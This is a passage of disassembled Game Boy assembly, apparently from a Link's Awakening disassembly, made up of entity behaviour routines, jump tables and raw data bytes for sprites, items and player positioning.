nz ld hl, $55FC add hl, de ld a, [hl] cp $FF jr nz, .else_03_56D0 call toc_01_27ED and %00000111 ld e, a ld d, b ld hl, $5627 add hl, de ld a, [hl] .else_03_56D0: call toc_03_64F8 ret c ld hl, $C2B0 add hl, bc ld a, [hl] ld hl, $C2B0 add hl, de ld [hl], a ld a, [$FFD7] ld hl, $C200 add hl, de ld [hl], a ld a, [$FFD8] ld hl, $C210 add hl, de ld [hl], a ld hl, $C450 add hl, de ld [hl], $80 ld hl, $C2F0 add hl, de ld [hl], $18 ld hl, $C480 add hl, de ld [hl], $03 _ifZero [$FFF9], .else_03_5739 ld hl, $C3A0 add hl, de ld a, [hl] cp $30 jr nz, .else_03_5718 ifEq [$FFEB], $88, .else_03_5718 ld hl, $C3B0 add hl, de ld [hl], $03 .else_03_5718: cp $3C jr nz, .else_03_5731 ifNe [$FFF6], $58, .else_03_5726 cp $5A jr nz, .else_03_5731 .else_03_5726: push bc push de push de pop bc ld a, $10 call toc_03_7E99 pop de pop bc .else_03_5731: ld hl, $C320 add hl, de ld [hl], $18 jr .toc_03_573F .else_03_5739: ld hl, $C250 add hl, de ld [hl], $EC .toc_03_573F: ld hl, $C310 add hl, bc ld a, [hl] ld hl, $C310 add hl, de ld [hl], a ret db $01, $08, $08, $10, $01, $04, $04, $0A db $37, $37, $37, $01, $39, $39, $39, $01 db $3B, $3B, $3B, $01, $3D, $3D, $3D, $01 db $10, $10, $08, $00, $F0, $F0, $F8, $00 db $00, $00, $00, $00, $FF, $FF, $FF, $FF db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $08, $00 db $00, $00, $08, $0E, $00, $00, $08, $0E db $00, $00, $08, $0E, $00, $00, $00, $0E JumpTable_5792_03: copyFromTo [$FFEB], [$C5A8] cp $02 jr nz, .else_03_57A5 ld hl, $C420 add hl, bc ld [hl], b call toc_03_673D jr .toc_03_57A8 .else_03_57A5: call toc_01_393D .toc_03_57A8: ld hl, $C490 add hl, bc ld a, [hl] ld e, a ld d, b cp $04 jr z, .else_03_57E2 copyFromTo [$C15D], [hLinkDirection] push hl call toc_01_0891 pop hl and a jr nz, .else_03_57E2 inc [hl] ld hl, $574A ifNe [$FFEB], $02, .else_03_57D8 ifGte [$DB43], $02, .else_03_57D8 ifEq [$D47C], $01, .else_03_57DB .else_03_57D8: ld hl, $574E .else_03_57DB: add hl, de ld a, [hl] ld hl, $C2E0 add hl, bc ld [hl], a .else_03_57E2: ld a, e cp $00 jr nz, .else_03_57E8 inc e .else_03_57E8: call toc_03_57EF call toc_03_5840 ret toc_03_57EF: ld a, [hLinkDirection] sla a sla a add a, e ld e, a ld d, $00 ld hl, $5751 add hl, de ld a, [hl] ld [$C15C], a ld hl, $5761 add hl, de ld a, [hl] ld hl, hLinkPositionX add a, [hl] ld hl, $C200 add hl, bc ld [hl], a ld hl, $5771 add hl, de ld a, [hl] ld hl, hLinkPositionY add a, [hl] ld hl, $C13B add a, [hl] ld hl, $C210 add hl, bc ld [hl], a ifNotZero [$FFF9], .else_03_5831 push hl ld hl, $5781 add hl, de ld e, [hl] pop hl ld a, [hl] sub a, e ld [hl], a ret .else_03_5831: ld hl, $5781 add hl, de ld a, [hl] ld hl, hLinkPositionZHigh add a, [hl] ld hl, $C310 add hl, bc ld [hl], a ret toc_03_5840: call toc_01_3831 ret db $11, $56, $58, $FA, $95, $DB, $FE, $01 db $28, $04, $3E, $30, $E0, $F5, $CD, $97 db $58, $C9, $30, $00, $30, $20, $32, $00 db $32, $20, $30, $40, $30, $60, $32, $40 db $32, $60, $34, $00, $36, $00, $38, $00 db $3A, $00, $36, $20, $34, $20, $3A, $20 db $38, $20, $08, $F8, $00, $00, $00, $00 db $F8, $08, $06, $04, $02, $00, $F0, $F7 db $FE, $15, $20, $08, $FA, $56, $DB, $FE db $80, $C2, $B7, $3F, $79, $EA, $53, $D1 db $11, $74, $59 toc_03_5897: call toc_01_3C3B call toc_03_7F4A ld hl, $C410 add hl, bc ld a, [hl] and a jr z, .else_03_58B3 ld hl, $C290 add hl, bc ld a, $01 ld [hl], a ld [$FFF0], a call toc_01_0891 ld [hl], $40 .else_03_58B3: call toc_03_7F6C call toc_03_6E3D ifNotZero [$FFF0], .else_03_5933 call toc_01_0891 jr z, .else_03_58F2 cp $0A jr nz, .else_03_58E4 call toc_01_088C jr nz, .else_03_58E4 call toc_03_7ED0 ld hl, $C380 add hl, bc ld a, e cp [hl] jr nz, .else_03_58E4 ifNe [$FFEB], $24, .else_03_58E4 cp $09 jr z, .else_03_58E8 call toc_03_59A4 .else_03_58E4: call toc_03_7892 ret .else_03_58E8: ld a, [wGameMode] cp GAMEMODE_CREDITS ret z call toc_03_59F5 ret .else_03_58F2: call toc_01_27ED and %00011111 or %00100000 ld [hl], a ld hl, $C290 add hl, bc ld [hl], $00 ld hl, $C2B0 add hl, bc ld a, [hl] inc a and %00000011 ld [hl], a cp $00 jr nz, .else_03_5912 call toc_03_7ED0 jr .toc_03_5915 .else_03_5912: call toc_01_27ED .toc_03_5915: and %00000011 ld hl, $C380 add hl, bc ld [hl], a ld e, a ld d, b ld hl, $5876 add hl, de ld a, [hl] ld hl, $C240 add hl, bc ld [hl], a ld hl, $587A add hl, de ld a, [hl] ld hl, $C250 add hl, bc ld [hl], a ret .else_03_5933: ld hl, $C2A0 add hl, bc ld a, [hl] and %00001111 jr nz, .else_03_5941 call toc_01_0891 jr nz, .else_03_5952 .else_03_5941: call toc_01_27ED and %00001111 or %00010000 ld [hl], a ld hl, $C290 add hl, bc ld [hl], $01 call toc_01_3DAF .else_03_5952: call toc_03_7EF7 call toc_03_7892 .toc_03_5958: ld hl, $C380 add hl, bc ld e, [hl] ld d, b ld hl, $587E add hl, de push hl ld hl, $C3D0 add hl, bc inc [hl] ld a, [hl] rra rra rra pop hl and %00000001 or [hl] call toc_01_3B87 ret db $60, $00, $62, $00, $62, $20, $60, $20 db $64, $00, $66, $00, $66, $20, $64, $20 db $68, $00, $6A, $00, $6C, $00, $6E, $00 db $6A, $20, $68, $20, $6E, $20, $6C, $20 db $08, $F8, $04, $FC, $FC, $FC, $F8, $00 db $20, $E0, $00, $00, $00, $00, $E0, $20 toc_03_59A4: ld a, $0C call toc_03_64F8 jr c, .return_03_59E8 push bc ld a, [$FFD9] ld c, a ld hl, $5994 add hl, bc ld a, [$FFD7] add a, [hl] ld hl, $C200 add hl, de ld [hl], a ld hl, $5998 add hl, bc ld a, [$FFD8] add a, [hl] ld hl, $C210 add hl, de ld [hl], a ld hl, $599C add hl, bc ld a, [hl] ld hl, $C240 add hl, de ld [hl], a ld hl, $59A0 add hl, bc ld a, [hl] ld hl, $C250 add hl, de ld [hl], a ld a, [$FFD9] ld hl, $C3B0 add hl, de ld [hl], a ld hl, $C380 add hl, de ld [hl], a pop bc .return_03_59E8: ret db $08, $F8, $00, $00, $F8, $08, $20, $E0 db $00, $00, $E0, $20 toc_03_59F5: ld a, $0A call toc_03_64F8 jr c, .return_03_5A33 push bc ld a, [$FFD9] ld hl, $C380 add hl, de ld [hl], a ld c, a ld hl, $59E9 add hl, bc ld a, [$FFD7] add a, [hl] ld hl, $C200 add hl, de ld [hl], a ld hl, $59EB add hl, bc ld a, [$FFD8] add a, [hl] ld hl, $C210 add hl, de ld [hl], a ld hl, $59EF add hl, bc ld a, [hl] ld hl, $C240 add hl, de ld [hl], a ld hl, $59F1 add hl, bc ld a, [hl] ld hl, $C250 add hl, de ld [hl], a pop bc and a .return_03_5A33: ret JumpTable_5A34_03: ret db $AA, $10, $AA, $30, $11, $35, $5A, $CD db $3B, $3C, $CD, $91, $08, $CA, $CC, $60 db $3D, $20, $1A, $3E, $18, $EA, $68, $D3 db $21, $5B, $DB, $34, $21, $93, $DB, $36 db $FF, $CD, $E2, $51, $7E, $F6, $20, $77 db $E0, $F8, $C3, $B7, $3F toc_03_5A62: ld a, [hLinkPositionX] ld hl, $C200 add hl, bc ld [hl], a ld a, [hLinkPositionY] ld hl, $C210 add hl, bc sub a, 12 ld [hl], a ld a, [hLinkPositionZHigh] ld hl, $C310 add hl, bc ld [hl], a assign [hLinkAnimationState], LINK_ANIMATION_STATE_GOT_ITEM assign [hLinkDirection], DIRECTION_DOWN clear [$C137] ld [$C16A], a ld [$C122], a ld [$C121], a ld hl, $C470 add hl, bc ld [hl], a assign [hLinkInteractiveMotionBlocked], INTERACTIVE_MOTION_LOCKED_TALKING ret db $AC, $00, $AC, $20, $F0, $F8, $E6, $10 db $C2, $B7, $3F, $F0, $F0, $C7 dw JumpTable_5B95_03 ; 00 dw JumpTable_5AB8_03 ; 01 dw JumpTable_5AC4_03 ; 02 dw JumpTable_5ACC_03 ; 03 dw JumpTable_5AD4_03 ; 04 dw JumpTable_5AE2_03 ; 05 dw JumpTable_5B05_03 ; 06 dw JumpTable_5B3C_03 ; 07 dw JumpTable_5B53_03 ; 08 JumpTable_5AB8_03: call toc_03_5A62 call toc_01_0891 jr nz, .return_03_5AC3 call JumpTable_3B8D_00 .return_03_5AC3: ret JumpTable_5AC4_03: assign [hNeedsUpdatingBGTiles], $03 call JumpTable_3B8D_00 ret JumpTable_5ACC_03: assign [hNeedsUpdatingBGTiles], $04 call JumpTable_3B8D_00 ret JumpTable_5AD4_03: ld a, $4F call toc_01_2197 call JumpTable_3B8D_00 assign [$C1AB], $01 ret JumpTable_5AE2_03: call toc_03_5A62 ld de, $5A98 call toc_01_3C3B call toc_03_5B75 ld hl, $C3D0 add hl, bc inc [hl] ld a, [hl] cp $A8 jp z, JumpTable_3B8D_00 cp $38 jr nz, .return_03_5B04 ld a, [$DB5C] inc a ld [$DB5C], a .return_03_5B04: ret JumpTable_5B05_03: call toc_03_5A62 ld de, $5A98 call toc_01_3C3B clear [$C1AB] call toc_03_5B75 _ifZero [wDialogState], .return_03_5B3B ifEq [$DB5C], $04, .else_03_5B38 assign [$FFF2], $19 clear [$DB5C] ld hl, $DB93 ld [hl], $40 incAddr $DB5B ld a, $50 call toc_01_2197 .else_03_5B38: call JumpTable_3B8D_00 .return_03_5B3B: ret JumpTable_5B3C_03: call toc_03_5A62 ld de, $5A98 call toc_01_3C3B _ifZero [wDialogState], .return_03_5B52 assign [hNeedsUpdatingBGTiles], $05 call JumpTable_3B8D_00 .return_03_5B52: ret JumpTable_5B53_03: assign [hNeedsUpdatingBGTiles], $06 call toc_01_3F7A.else_01_3FB7 assign [$FFA5], $0D jp toc_03_5115.else_03_51D8 db $9A, $00, $9A, $20, $9C, $00, $9A, $20 db $9E, $00, $9A, $20, $9E, $00, $9C, $20 db $9E, $00, $9E, $20 toc_03_5B75: ifNotZero [wDialogState], .return_03_5B94 and %10000000 ld a, $23 jr z, .else_03_5B83 ld a, $6B .else_03_5B83: ld [$FFEC], a copyFromTo [$DB5C], [$FFF1] assign [$FFEE], $8B ld de, $5B61 call toc_01_3C3B .return_03_5B94: ret JumpTable_5B95_03: ld de, $5A98 call toc_01_3C3B jp toc_03_60CC db $AE, $10, $11, $9E, $5B, $CD, $D0, $3C db $18, $18, $14, $00, $14, $20, $14, $10 db $14, $30, $11, $A8, $5B, $CD, $3B, $3C db $F0, $E7, $1F, $1F, $1F, $E6, $01, $CD db $87, $3B, $C3, $CC, $60, $74, $00, $76 db $00, $76, $20, $74, $20, $11, $C3, $5B db $CD, $3B, $3C, $CD, $4A, $7F, $CD, $D4 db $62, $C9, $86, $10, $84, $10, $11, $D8 db $5B, $FA, $4E, $DB, $A7, $20, $0A, $F0 db $F8, $E6, $10, $C2, $B7, $3F, $11, $DA db $5B, $CD, $D0, $3C, $F0, $F0, $C7 dw JumpTable_5BFD_03 ; 00 dw JumpTable_5C27_03 ; 01 dw JumpTable_5C46_03 ; 02 dw JumpTable_5C56_03 ; 03 JumpTable_5BFD_03: call toc_01_0891 jp z, toc_03_60CC cp $10 jr nz, .else_03_5C0E dec [hl] ld a, $9B call toc_01_2197 xor a .else_03_5C0E: dec a jr nz, .else_03_5C24 assign [$D368], $31 assign [hDefaultMusicTrack], MUSIC_OVERWORLD ld [hNextDefaultMusicTrack], a call toc_01_0887 ld [hl], $52 call JumpTable_3B8D_00 .else_03_5C24: jp toc_03_5A62 JumpTable_5C27_03: call toc_03_5A62 call toc_01_0887 jr nz, .return_03_5C45 ld a, $FF call toc_01_3B87 call toc_01_0891 ld [hl], $20 assign [$C121], $20 assign [$FFF4], $03 call JumpTable_3B8D_00 .return_03_5C45: ret JumpTable_5C46_03: call toc_01_0891 jr nz, .return_03_5C55 ld [hl], $20 ld a, $00 call toc_01_3B87 call JumpTable_3B8D_00 .return_03_5C55: ret JumpTable_5C56_03: call toc_03_5A62 assign [hLinkAnimationState], LINK_ANIMATION_STATE_UNKNOWN_6B ld hl, $C200 add hl, bc ld a, [hLinkPositionX] sub a, 4 ld [hl], a call toc_01_0891 jr nz, .else_03_5C7E ld [$C167], a ld d, $01 call JumpTable_6472_03.toc_03_6497 assign [$DB4E], $01 call toc_03_5115.else_03_51D8 jp toc_01_3F7A.else_01_3FB7 .else_03_5C7E: cp $1A jr nz, .return_03_5C8D ld a, [$FFEF] sub a, $0C call toc_03_6BF9.toc_03_6C51 assign [$FFF2], $07 .return_03_5C8D: ret db $8A, $10, $F0, $F8, $E6, $10, $C2, $B7 db $3F, $11, $8E, $5C, $CD, $D0, $3C, $CD db $91, $08, $CA, $CC, $60, $FE, $10, $20 db $07, $35, $3E, $93, $CD, $97, $21, $AF db $3D, $20, $0B, $16, $06, $CD, $97, $64 db $CD, $D8, $51, $C3, $B7, $3F, $C3, $62 db $5A, $CA, $10, $C0, $10, $C2, $10, $C4 db $10, $C6, $10, $CA, $10, $00, $A3, $A4 db $A5, $00, $CD, $31, $5D, $30, $0B, $21 db $CE, $D8, $CB, $E6, $21, $F8, $D9, $CB db $EE, $C9, $F0, $F6, $FE, $80, $CA, $90 db $5C, $11, $BF, $5C, $CD, $D0, $3C, $CD db $91, $08, $CA, $1D, $5D, $FE, $10, $20 db $1D, $35, $F0, $F1, $3D, $5F, $50, $21 db $CB, $5C, $19, $7E, $CD, $97, $21, $F0 db $F1, $3D, $5F, $50, $21, $11, $DB, $19 db $36, $01, $CD, $D8, $51, $AF, $3D, $20 db $03, $C3, $B7, $3F, $C3, $62, $5A, $CD db $4A, $7F, $CD, $D4, $62, $21, $10, $C3 db $09, $7E, $A7, $20, $03, $CD, $10, $63 db $C3, $D5, $60, $FA, $A5, $DB, $A7, $20 db $44, $F0, $F6, $FE, $CE, $20, $3E, $F0 db $EF, $D6, $48, $C6, $03, $FE, $06, $30 db $34, $F0, $EE, $D6, $50, $C6, $03, $FE db $06, $30, $2A, $21, $10, $C3, $09, $7E db $A7, $20, $22, $21, $80, $C2, $09, $7E db $FE, $05, $20, $19, $36, $02, $21, $B0 db $C4, $09, $36, $50, $21, $C0, $C4, $09 db $36, $48, $CD, $91, $08, $36, $2F, $3E db $18, $E0, $F2, $37, $C9, $A7, $C9, $A8 db $10, $CD, $03, $62, $CD, $AC, $60, $11 db $7D, $5D, $CD, $D0, $3C, $C3, $CC, $60 db $5E, $00, $5E, $20, $21, $4B, $DB, $FA db $4C, $DB, $B6, $C2, $B7, $3F, $11, $8E db $5D, $CD, $3B, $3C, $CD, $91, $08, $CA db $CC, $60, $FE, $10, $20, $07, $35, $3E db $0F, $CD, $97, $21, $AF, $3D, $20, $11 db $3E, $0A, $E0, $A5, $16, $0C, $CD, $97 db $64, $3E, $01, $EA, $4B, $DB, $C3, $B7 db $3F, $C3, $62, $5A, $70, $00, $72, $00 db $74, $00, $76, $00, $78, $00, $7A, $00 db $7C, $00, $7E, $00, $21, $B0, $C2, $09 db $7E, $C7 dw JumpTable_5EDA_03 ; 00 dw JumpTable_5ECA_03 ; 01 dw JumpTable_5E20_03 ; 02 db $E4, $E4, $E4, $E4, $90, $90, $90, $90 db $40, $40, $40, $40, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $1C, $1C, $1C db $1C, $1C, $1C, $1C, $1C, $1C, $1C, $1C db $1C, $1C, $1C, $1C, $1C, $08, $08, $08 db $08, $04, $04, $04, $04, $00, $00, $00 db $00, $00 JumpTable_5E20_03: call toc_01_3EA0 assign [$C167], $01 call toc_01_0887 jr nz, toc_03_5E70 call toc_01_3F7A.else_01_3FB7 clear [hLinkAnimationState] ld a, [$D201] ld e, a ld d, b ld hl, $C290 add hl, de inc [hl] call toc_01_0915.toc_01_092A ld a, [$FFF7] jumptable dw JumpTable_5E53_03 ; 00 dw JumpTable_5E59_03 ; 01 dw JumpTable_5E5F_03 ; 02 dw JumpTable_5E60_03 ; 03 dw JumpTable_5E60_03.JumpTable_5E65_03 ; 04 dw JumpTable_5E66_03 ; 05 dw JumpTable_5E6B_03 ; 06 dw JumpTable_5E60_03.JumpTable_5E65_03 ; 07 JumpTable_5E53_03: assign [$DB56], $80 ret JumpTable_5E59_03: assign [$DB48], $02 ret JumpTable_5E5F_03: ret JumpTable_5E60_03: assign [$DB79], $02 .JumpTable_5E65_03: ret JumpTable_5E66_03: clear [$DB74] ret JumpTable_5E6B_03: clear [$DB7B] ret toc_03_5E70: cp $50 jr nc, .return_03_5EC1 ld hl, $C2C0 add hl, bc ld a, [hl] cp $19 jr nc, .return_03_5EC1 ld a, [hFrameCounter] and %00000111 jr nz, .else_03_5EA2 ld a, [hl] and a jr nz, .else_03_5E8C assign [$FFF4], $2C xor a .else_03_5E8C: inc [hl] cp $18 jr nz, .else_03_5EA2 ld a, $9F call toc_03_64F8 ld hl, $C2B0 add hl, de ld [hl], $01 ld hl, $C2E0 add hl, de ld [hl], $60 .else_03_5EA2: ld a, [hFrameCounter] and %00000011 ld hl, $C2C0 add hl, bc add a, [hl] ld e, a ld d, b ld hl, $5DE6 add hl, de ld a, [hl] ld [$DB97], a ld hl, $5E03 add hl, de ld a, [hl] ld [$DB98], a clear [$DB99] .return_03_5EC1: ret db $6C, $00, $FF, $FF, $6C, $00, $6E, $00 JumpTable_5ECA_03: ld de, $5EC2 call toc_01_3C3B call toc_03_7EF7 call toc_01_0891 jp z, toc_01_3F7A.else_01_3FB7 ret JumpTable_5EDA_03: ld a, c ld [$D201], a ld a, [$FFF8] and %00010000 jp nz, toc_01_3F7A.else_01_3FB7 ld a, [$FFF7] and %00000011 ld [$FFF1], a call toc_01_380E ld de, $5DCA call toc_01_3C3B ld a, [$FFF0] jumptable dw JumpTable_5F01_03 ; 00 dw JumpTable_5F38_03 ; 01 dw JumpTable_5F5F_03 ; 02 dw JumpTable_5FE8_03 ; 03 dw JumpTable_5FEB_03 ; 04 JumpTable_5F01_03: call toc_01_0891 jp z, toc_03_60CC cp $10 jr nz, .else_03_5F2A dec [hl] call JumpTable_3B8D_00 ld a, [$FFF7] add a, $00 call toc_01_2185 ld a, [$FFF7] ld e, a ld d, b ld hl, $DB65 add hl, de ld a, [hl] or %00000010 ld [hl], a call toc_03_51E2 ld a, [hl] or %00010000 ld [hl], a xor a .else_03_5F2A: dec a jr nz, .else_03_5F2D .else_03_5F2D: jp toc_03_5A62 db $20, $28, $29, $2A, $2B, $2C, $2D, $2E JumpTable_5F38_03: _ifZero [$D369], .else_03_5F58 _ifZero [wDialogState], .else_03_5F58 ld a, [$FFF7] ld e, a ld d, b ld hl, $5F30 add hl, de ld a, [hl] ld [$D368], a call JumpTable_3B8D_00 call toc_01_0891 ld [hl], $FF .else_03_5F58: jp toc_03_5A62 db $0A, $FA, $04, $FC JumpTable_5F5F_03: call toc_01_0891 jr nz, .else_03_5F8B assign [$FFF2], $2B ld a, $39 call toc_03_64F8 ld a, [$FFD7] dec a ld hl, $C200 add hl, de ld [hl], a ld a, [$FFD8] ld hl, $C210 add hl, de ld [hl], a ld hl, $C2B0 add hl, de ld [hl], $02 ld hl, $C450 add hl, de ld [hl], $80 jp JumpTable_3B8D_00 .else_03_5F8B: ld hl, $C2D0 add hl, bc dec [hl] ld a, [hl] cp $FF jr nz, .else_03_5FE5 ld [hl], $17 ld hl, $C440 add hl, bc inc [hl] ld a, [hl] and %00000001 ld [$FFE8], a ld a, $39 call toc_03_64F8 push bc ld hl, $C2B0 add hl, de inc [hl] ld a, [$FFE8] ld c, a ld hl, $5F5B add hl, bc ld a, [$FFD7] add a, [hl] ld hl, $C200 add hl, de ld [hl], a ld hl, $5F5D add hl, bc ld a, [hl] ld hl, $C240 add hl, de ld [hl], a ld a, [$FFD8] ld hl, $C210 add hl, de add a, $F8 ld [hl], a ld hl, $C250 add hl, de ld [hl], $FD ld hl, $C2E0 add hl, de ld [hl], $38 call toc_01_27ED and %00000001 ld hl, $C3B0 add hl, de ld [hl], a pop bc .else_03_5FE5: jp toc_03_5A62 JumpTable_5FE8_03: jp toc_03_5A62 JumpTable_5FEB_03: ret db $80, $10, $CD, $03, $62, $CD, $AC, $60 db $11, $EC, $5F, $CD, $D0, $3C, $C3, $CC db $60, $9E, $10, $FA, $4E, $DB, $FE, $02 db $D2, $B7, $3F, $F0, $F8, $E6, $10, $C2 db $B7, $3F, $F0, $F6, $FE, $E3, $20, $07 db $F0, $F8, $E6, $40, $CA, $B7, $3F, $CD db $03, $62, $11, $FD, $5F, $CD, $D0, $3C db $C3, $CC, $60, $CA, $10, $F0, $F8, $E6 db $10, $C2, $B7, $3F, $CD, $03, $62, $11 db $27, $60, $CD, $D0, $3C, $CD, $91, $08 db $CA, $CC, $60, $FE, $10, $20, $35, $35 db $FA, $A5, $DB, $A7, $20, $0B, $F0, $F6 db $FE, $C6, $20, $05, $3E, $05, $EA, $15 db $DB, $21, $15, $DB, $CD, $98, $63, $CD db $D8, $51, $21, $F8, $FF, $CB, $A6, $1E db $A2, $FA, $15, $DB, $FE, $06, $28, $07 db $1E, $E8, $FE, $05, $20, $01, $1C, $7B db $CD, $97, $21, $AF, $3D, $20, $03, $C3 db $B7, $3F, $C3, $62, $5A, $8E, $10, $FA db $4B, $DB, $A7, $C2, $B7, $3F, $CD, $03 db $62, $CD, $AC, $60, $11, $81, $60, $CD db $D0, $3C, $C3, $CC, $60, $2A, $40, $2A db $60, $CD, $03, $62, $CD, $AC, $60, $11 db $99, $60, $CD, $3B, $3C, $C3, $CC, $60 db $CD, $87, $08, $FE, $1C, $30, $0A, $A7 db $CA, $B7, $3F, $E6, $01, $3D, $CD, $87 db $3B, $C9, $A6, $10, $CD, $03, $62, $CD db $AC, $60, $11, $BE, $60, $CD, $D0, $3C toc_03_60CC: call toc_03_7F4A call toc_03_62D4 call toc_03_6310 .toc_03_60D5: call toc_03_7EF7 call toc_03_6B96 call toc_03_7892 ifNotZero [$FFF9], .else_03_6105 ld hl, $C2A0 add hl, bc ld a, [hl] and %00001000 jp z, .return_03_6178 ld hl, $C210 add hl, bc ld a, [hl] and %11110000 add a, $05 ld [hl], a ld hl, $C250 add hl, bc ld a, [hl] cpl sra a cp $F8 jr c, .else_03_6134 jr .else_03_6125 .else_03_6105: ld hl, $C310 add hl, bc ld a, [hl] and %10000000 jr z, toc_03_60CC.return_03_6178 xor a ld [hl], a ld hl, $C470 add hl, bc ld a, [hl] ld hl, $C320 add hl, bc cp $02 jr z, toc_03_60CC.else_03_6125 ld a, [hl] sra a cpl cp $07 jr nc, toc_03_60CC.else_03_6134 .else_03_6125: xor a push hl ld hl, $C240 add hl, bc ld [hl], a ld hl, $C250 add hl, bc ld [hl], a pop hl jr toc_03_60CC.toc_03_6158 .else_03_6134: push af push hl ifEq [$FFEB], $30, toc_03_60CC.else_03_6142 assign [$FFF4], $17 jr toc_03_60CC.else_03_6156 .else_03_6142: cp $02 jr nz, toc_03_60CC.else_03_6156 ld hl, $C280 add hl, bc ld a, [hl] and a jr z, toc_03_60CC.else_03_6156 cp $02 jr z, toc_03_60CC.else_03_6156 assign [$FFF2], $09 .else_03_6156: pop hl pop af .toc_03_6158: ld [hl], a ld hl, $C240 add hl, bc ld a, [hl] sra a cp $FF jr nz, toc_03_60CC.else_03_6165 xor a .else_03_6165: ld [hl], a _ifZero [$FFF9], toc_03_60CC.return_03_6178 ld hl, $C250 add hl, bc ld a, [hl] sra a cp $FF jr nz, toc_03_60CC.else_03_6177 xor a .else_03_6177: ld [hl], a .return_03_6178: ret db $20, $20, $20, $00, $CD, $03, $62, $CD db $AC, $60, $11, $79, $61, $CD, $D0, $3C db $CD, $4A, $7F, $CD, $D4, $62, $CD, $10 db $63, $21, $40, $C2, $09, $7E, $07, $E6 db $01, $CD, $87, $3B, $CD, $F7, $7E, $CD db $E5, $61, $CD, $92, $78, $CD, $AB, $7E db $7A, $CB, $7F, $28, $00, $FE, $20, $38 db $0C, $CD, $BB, $7E, $7A, $CB, $7F, $28 db $00, $FE, $20, $30, $21, $CD, $91, $08 db $20, $21, $36, $30, $CD, $ED, $27, $E6 db $0F, $D6, $08, $21, $40, $C2, $09, $77 db $CD, $ED, $27, $E6, $0F, $D6, $08, $21 db $50, $C2, $09, $77, $18, $05, $3E, $09 db $CD, $99, $7E, $C9, $F0, $E7, $E6, $03 db $20, $17, $21, $10, $C3, $09, $7E, $FE db $10, $28, $0E, $CB, $7F, $28, $03, $34 db $18, $07, $FE, $10, $30, $02, $34, $C9 db $35, $C9, $21, $D0, $C2, $09, $7E, $A7 db $CA, $C2, $62, $FA, $24, $C1, $A7, $C2 db $C1, $62, $7E, $FE, $02, $20, $50, $F0 db $EB, $FE, $3D, $28, $07, $FA, $A5, $DB db $A7, $C2, $C1, $62, $CD, $E0, $7D, $F0 db $EB, $FE, $2D, $28, $1E, $FE, $3D, $20 db $22, $F0, $F6, $FE, $DA, $28, $1C, $FE db $A5, $28, $18, $FE, $74, $28, $14, $FE db $3A, $28, $10, $FE, $A8, $28, $0C, $FE db $B2, $28, $08, $F0, $AF, $FE, $04, $28 db $0E, $18, $06, $21, $40, $C4, $09, $36 db $01, $F0, $AF, $FE, $CC, $20, $61, $21 db $30, $C4, $09, $36, $0A, $18, $28, $FA db $57, $C1, $A7, $28, $53, $FA, $78, $C1 db $A7, $28, $4D, $F0, $EE, $C6, $08, $21 db $79, $C1, $96, $C6, $10, $FE, $20, $30 db $3F, $F0, $EF, $C6, $08, $21, $7A, $C1 db $96, $C6, $10, $FE, $20, $30, $31, $21 db $D0, $C2, $09, $70, $21, $40, $C4, $09 db $70, $CD, $8C, $08, $36, $18, $3E, $0C db $CD, $17, $7E, $F0, $D8, $2F, $3C, $21 db $40, $C2, $09, $77, $F0, $D7, $2F, $3C db $21, $50, $C2, $09, $77, $21, $20, $C3 db $09, $36, $20, $CD, $87, $08, $36, $80 db $F1, $C9, $01, $01, $00, $00, $01, $00 db $01, $01, $00, $00, $01, $01, $00, $00 db $01, $00, $00 toc_03_62D4: ld hl, $C390 add hl, bc ld a, [hl] and a jr z, .return_03_630F pop de dec a ld e, a ld d, b ld hl, $C280 add hl, de ld a, [hl] and a jr z, toc_03_6310.toc_03_6336 ld hl, $C3A0 add hl, de ld a, [hl] cp $01 jr z, .else_03_62F5 cp $03 jr nz, toc_03_6310.toc_03_6336 .else_03_62F5: ld hl, $C200 add hl, de ld a, [hl] ld hl, $C200 add hl, bc ld [hl], a ld hl, $C210 add hl, de ld a, [hl] ld hl, $C210 add hl, bc ld [hl], a xor a ld hl, $C310 add hl, bc ld [hl], a .return_03_630F: ret toc_03_6310: call toc_01_088C jr nz, toc_03_62D4.return_03_630F ld a, [$FFEB] sub a, $2D ld e, a ld d, b ld hl, $62C3 add hl, de ld a, [hl] and a jr z, .else_03_6331 ld hl, $C410 add hl, bc ld a, [hl] push af push hl ld [hl], b call toc_03_6E3D.toc_03_6E40 pop hl pop af ld [hl], a .else_03_6331: call toc_03_6C87 jr nc, toc_03_62D4.return_03_630F .toc_03_6336: ld hl, $C460 add hl, bc ld a, [hl] call toc_01_3F7A.toc_01_3FA2 ld a, [$FFEB] sub a, $2D cp $02 jr nc, .else_03_634D ld hl, $FFF2 ld [hl], $14 jr .toc_03_6352 .else_03_634D: ld hl, $FFF3 ld [hl], $01 .toc_03_6352: jumptable dw JumpTable_64E5_03 ; 00 dw JumpTable_64ED_03 ; 01 dw JumpTable_64F4_03 ; 02 dw JumpTable_64B4_03 ; 03 dw JumpTable_6472_03 ; 04 dw JumpTable_6421_03.JumpTable_6471_03 ; 05 dw JumpTable_6421_03 ; 06 dw JumpTable_641B_03 ; 07 dw JumpTable_6409_03 ; 08 dw JumpTable_63D5_03 ; 09 dw JumpTable_63A2_03 ; 0A dw JumpTable_63AA_03 ; 0B dw JumpTable_63B7_03 ; 0C dw JumpTable_63EC_03 ; 0D dw JumpTable_6375_03 ; 0E dw JumpTable_63EC_03 ; 0F dw JumpTable_638D_03 ; 10 JumpTable_6375_03: assign [$FFA5], $0B ld d, $0C call JumpTable_6472_03.toc_03_6497 ld hl, $DB76 ld de, $DB4C .toc_03_6384: ld a, [de] cp [hl] jr nc, .return_03_638C add a, $01 daa ld [de], a .return_03_638C: ret JumpTable_638D_03: ld a, $EF call toc_01_2197 .toc_03_6392: call toc_03_5115.else_03_51D8 ld hl, $DB0F ld a, [hl] cp $99 jr z, .return_03_63A1 add a, $01 daa ld [hl], a .return_03_63A1: ret JumpTable_63A2_03: ld hl, $DB78 ld de, $DB45 jr JumpTable_6375_03.toc_03_6384 JumpTable_63AA_03: ld d, $02 call JumpTable_6472_03.toc_03_6497 ld hl, $DB77 ld de, $DB4D jr JumpTable_6375_03.toc_03_6384 JumpTable_63B7_03: clear [$D46C] ld [$C3CB], a assign [$D368], $1B ld [$C167], a .toc_03_63C6: ld a, [hLinkPositionX] push af add a, 4 ld [hLinkPositionX], a call JumpTable_6421_03.toc_03_6443 pop af ld [hLinkPositionX], a jr toc_03_63F7 JumpTable_63D5_03: clear [$D47C] assign [$D368], $25 ld [$D46C], a 